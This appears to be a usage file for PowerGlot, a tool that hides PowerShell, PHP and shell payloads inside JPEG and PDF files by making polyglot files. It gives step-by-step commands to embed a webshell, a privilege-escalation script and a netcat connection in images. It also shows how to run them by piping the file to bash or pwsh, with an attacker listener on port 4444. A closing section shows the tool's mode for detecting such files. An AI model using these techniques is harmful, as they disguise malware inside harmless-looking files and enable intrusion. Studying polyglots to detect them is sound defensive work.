# git clone https://github.com/mindcrypt/powerglot
# python3 powerglot

# Example 1 - Hiding a powershell/php/shell script in a JPEG image

# python3 powerglot.py -o payload.ps1 cat.jpg cat-hidden1.jpg
# python3 powerglot.py -o webshell.php cat.jpg cat-hidden2.jpg
# python3 powerglot.py -o shell.sh cat.jpg cat-hidden3.jpg

# Example 2 - Hiding a shell script (linenum.sh) for privilege escalation "hidden" in a JPEG image

# python3 powerglot.py -o linenum.sh cat.jpg cat-linenum.jpg
# file cat-linenum.jpg (It is a valid JPEG file)
# feh cat-lineum.jpg (The image is properly showed in an image viewer)

# We can execute the script in several ways:

a) cat cat-linenum | bash
b) chmod +x cat-linenum.jpeg; ./cat-linenum.jpeg

# Example 3 - Hiding a cover-channel wiht netcat in a JPEG image

# Attacker
# echo "nc 127.0.0.1 4444" > netcat.sh
# python3 powerglot.py -o netcat.sh cat.jpeg cat-netcat.jpeg
# nc -nvlp 4444

#Victim
# chmod +x cat-netcat.jpg | ./cat-netcat.jpg

# Example 4 - Polyglot in PDF (Ej-linenum.sh)
# Create b64.sh with your favourite payload
base64 Linenum.sh -w 0 > b64.sh
# Edit b64.sh
echo "code in b64.sh" | base64 -d | bash;

# python3 powerglot -o b64.sh sample.pdf test.pdf
# file test.pdf
# xpdf test.pdf

# Execute payload
# cat test.pdf | bash or chmod +x test.pdf; ./test.pdf

# Example 5 - Powershell in JPEG (polyglot)
# python3 powerglot.py -o script.ps1 cat.jpeg cat-ps.jpeg
# file cat-ps.jpeg
# feh cat-ps.jpeg

# Execute payload (example)
# cat cat-ps.jpeg | pwsh

PS /home/alfonso/PowerGlot/POWERSHELL> get-process;<#hola <# mundo#>

 NPM(K)    PM(M)      WS(M)     CPU(s)      Id  SI ProcessName
 ------    -----      -----     ------      --  -- -----------
      0     0,00       2,70       0,00     830 829 (sd-pam)
      0     0,00       0,00       0,00      75   0 acpi_thermal_pm
      0     0,00       4,80       0,00    1217 854 agent
      0     0,00       1,70       0,00     748 748 agetty
      0     0,00      40,77       1,01    1198 854 applet.py
      0     0,00       6,29       0,00     938 938 at-spi-bus-launcher
      0     0,00       6,61       5,64     953 938 at-spi2-registryd
      0     0,00       0,00       0,00     131   0 ata_sff
      0     0,00       1,77       0,00    8906 …78 atom
      0     0,00     218,81     585,95    8908 …78 atom
      0     0,00     236,18     176,24    8947 …78 atom
      0     0,00     142,14       2,51    9009 …78 atom
      0     0,00      81,54       3,32    8932 …78 atom --type=gpu-process --enable-features=SharedArrayBuffer -…
      0     0,00      39,44       0,01    8910 …78 atom --type=zygote --no-sandbox
      0     0,00       5,62       0,11    1370 …70 bash
      0     0,00       5,36       0,66    5278 …78 bash
      0     0,00       6,34       1,48    6778 …78 bash
      0     0,00       0,00       0,00      68   0 blkcg_punt_bio
      0     0,00      46,73       2,20    1199 854 blueman-applet
      0     0,00      50,25       1,64    1301 854 blueman-tray

#python3 powerglot.py -d ./
--= [Detecting polyglots] --=
..............................................................
[Suspicious file]-[ ./cat-end-extra2.jpg ]..
[Suspicious file]-[ ./cat-end-extra3.jpg ][Polyglot Stegosploit][EOF Signature: */ -->]
.................................................................................
[Suspicious file]-[ ./cat-end-extra1.jpg ]..